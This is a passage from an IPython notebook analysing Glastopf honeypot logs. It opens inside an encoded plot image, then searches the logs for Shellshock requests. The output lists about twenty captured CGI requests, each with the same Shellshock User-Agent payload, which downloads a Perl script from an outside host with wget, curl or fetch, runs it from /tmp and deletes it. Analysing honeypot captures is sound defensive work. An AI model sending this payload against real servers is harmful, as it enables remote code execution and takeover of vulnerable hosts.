hd2B1Tu5DPV9SE\n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\niIjIU/4fDSgTlTSqZqQAAAAASUVORK5CYII=\n",
       "text": [
        "<matplotlib.figure.Figure at 0x1092da9d0>"
       ]
      }
     ],
     "prompt_number": 64
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Here is a search for strings containing the characters which are known to be used in a Shellshock exploit."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('{ :;}')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 65,
       "text": [
        "GET /cgi-bin/test.sh HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/counter.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/printenv HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/reboot.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/backup.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php5-cli HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/forum.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/formmail.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php4 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/index.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/cgi_wrapper HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/Count.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test-cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/entropysearch.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/index2.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/uptime.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/contact.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
